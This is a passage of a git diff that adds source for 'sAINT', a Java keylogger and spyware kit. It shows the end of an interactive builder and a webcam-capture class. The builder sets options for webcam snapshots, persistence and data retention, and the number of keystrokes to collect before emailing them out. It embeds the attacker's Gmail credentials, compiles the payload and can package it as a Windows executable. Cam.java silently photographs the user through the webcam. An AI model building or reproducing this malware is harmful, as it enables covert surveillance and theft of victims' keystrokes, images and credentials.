(Y/n): " + WHITE); + String optPersistence = scanner.nextLine(); + if (optPersistence.trim().equalsIgnoreCase("y")) { + persistence = true; + } else if (optPersistence.trim().equalsIgnoreCase("n")) { + persistence = false; + } else if (!optPersistence.trim().equalsIgnoreCase("")) { + System.out.println(RED + " [!] Invalid option!"); + try { + waitTime(2); + showGenerator(); + } catch (InterruptedException ex) { + System.out.println(RED + " [!] Error! " + ex.getMessage()); + } + } else if (optPersistence.trim().equalsIgnoreCase("")) { + System.out.println(GREEN + " [+] Default option: Y"); + persistence = true; + } + + System.out.print(YELLOW + " [*] Keep data on the computer? (Y/n): " + WHITE); + String optData = scanner.nextLine(); + if (optData.trim().equalsIgnoreCase("y")) { + keep_data = true; + } else if (optData.trim().equalsIgnoreCase("n")) { + keep_data = false; + } else if (!optData.trim().equalsIgnoreCase("")) { + System.out.println(RED + " [!] Invalid option!"); + try { + waitTime(2); + showGenerator(); + } catch (InterruptedException ex) { + System.out.println(RED + " [!] Error! " + ex.getMessage()); + } + } else if (optData.trim().equalsIgnoreCase("")) { + System.out.println(GREEN + " [+] Default option: Y"); + keep_data = true; + } + + System.out.print(YELLOW + " [*] Enter the number of characters to send E-mail: " + WHITE); + try { + count = scanner.nextInt(); + scanner.nextLine(); + } catch (Exception e) { + System.out.println(RED + " [!] Invalid option!"); + try { + waitTime(2); + showGenerator(); + } catch (InterruptedException ex) { + System.out.println(ex.getMessage()); + } + } + + System.out.println("\n" + + GREEN + " +------------------------------------------+\n" + + GREEN + " Email: " + WHITE + email + "\n" + + GREEN + " Password: " + WHITE + password + "\n" + + GREEN + " Screenshot: " + WHITE + screenshot + "\n" + + GREEN + " Webcam: " + WHITE + webcam + "\n" + + GREEN + " Persistence: " + WHITE + persistence + "\n" + + GREEN + " Keep Data: " + WHITE + keep_data + "\n" + + GREEN + " Number of characters: " + WHITE + count + "\n" + + GREEN + " +------------------------------------------+" + ); + + System.out.print(YELLOW + "\n [*] The information above is correct? (y/n): " + WHITE); + String optConfirm = scanner.nextLine(); + if (optConfirm.trim().equalsIgnoreCase("y")) { + // Clone folder + try { + deleteFolder("src/"); + copyFolder(new File("src_template/"), new File("src/")); + } catch (IOException ex) { + System.out.println(ex.getMessage()); + } + + // Replace data + replaceWord("email@gmail.com", email, path_source); + replaceWord("passwordemail", password, path_source); + if (screenshot) { + replaceWord("booleanScreenshot", "true", path_source); + } else { + replaceWord("booleanScreenshot", "false", path_source); + } + if (webcam) { + replaceWord("booleanCam", "true", path_source); + } else { + replaceWord("booleanCam", "false", path_source); + } + if (persistence) { + replaceWord("booleanPersistence", "true", path_source); + } else { + replaceWord("booleanPersistence", "false", path_source); + } + if (keep_data) { + replaceWord("booleanKeepData", "true", path_source); + } else { + replaceWord("booleanKeepData", "false", path_source); + } + replaceWord("countNumber", String.valueOf(count), path_source); + + runProcess("mvn clean compile assembly:single", " [*] Compiling...\n"); + + if (checkIfFolderExists("target/")) { + System.out.print(GREEN + " [*] Successfully compiled in target/ folder. \n" + WHITE); + } + + System.out.print(YELLOW + "\n [*] You would like to generate .EXE using lauch4j? (y/n): " + WHITE); + String optExe = scanner.nextLine(); + if (optExe.trim().equalsIgnoreCase("y")) { + copyFile("target/saint-1.0-jar-with-dependencies.jar", "launch4j/saint-1.0-jar-with-dependencies.jar"); + runProcess("launch4j/launch4j launch4j/sAINT.xml", " [*] Generating...\n"); + copyFile("launch4j/saint-1.0-jar-with-dependencies.exe", "target/saint-1.0-jar-with-dependencies.exe"); + + if (checkIfFileExists("target/saint-1.0-jar-with-dependencies.exe")) { + System.out.print(GREEN + " [*] Generated .EXE in target/ folder. \n" + WHITE); + } else { + System.out.print(RED + " [*] Failed to generate file! \n" + WHITE); + } + } + + System.out.print(BLUE + "\n NOTE: Allow access to less secure apps on your gmail account. \n" + WHITE); + System.out.print(WHITE + " -> https://www.google.com/settings/security/lesssecureapps \n" + WHITE); + try { + waitTime(2); + } catch (InterruptedException ex) { + System.out.println(RED + " [!] Error! " + ex.getMessage()); + } + System.exit(0); + + } else if (optConfirm.trim().equalsIgnoreCase("n")) { + try { + waitTime(2); + showGenerator(); + } catch (InterruptedException ex) { + System.out.println(ex.getMessage()); + } + + } else if (!optConfirm.trim().equalsIgnoreCase("")) { + System.out.println(RED + " [!] Invalid option!"); + try { + waitTime(2); + showGenerator(); + } catch (InterruptedException ex) { + System.out.println(ex.getMessage()); + } + } + + } +} diff --git a/keyloggers/sAINT/src_template/main/java/saint/webcam/Cam.java b/keyloggers/sAINT/src_template/main/java/saint/webcam/Cam.java new file mode 100644 index 0000000..908b0c2 --- /dev/null +++ b/keyloggers/sAINT/src_template/main/java/saint/webcam/Cam.java @@ -0,0 +1,52 @@ +/* + * Copyright (c) 2017, tiagorlampert + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ +package saint.webcam; + +import com.github.sarxos.webcam.Webcam; +import java.awt.Dimension; +import java.io.File; +import java.io.IOException; +import javax.imageio.ImageIO; + +/** + * + * @author tiagorlampert + * + * Source: https://github.com/sarxos/webcam-capture + */ +public class Cam { + + public static void Capture(String filePath, String fileName, int widthx, int heighty) throws IOException { + Webcam webcam = Webcam.getDefault(); + if (webcam != null) { +// System.out.println("Webcam: " + webcam.getName()); + webcam.setViewSize(new Dimension(widthx, heighty)); + webcam.open(); + ImageIO.write(webcam.getImage(), "PNG", new File(filePath + fileName + ".png")); + webcam.close(); + } + } +}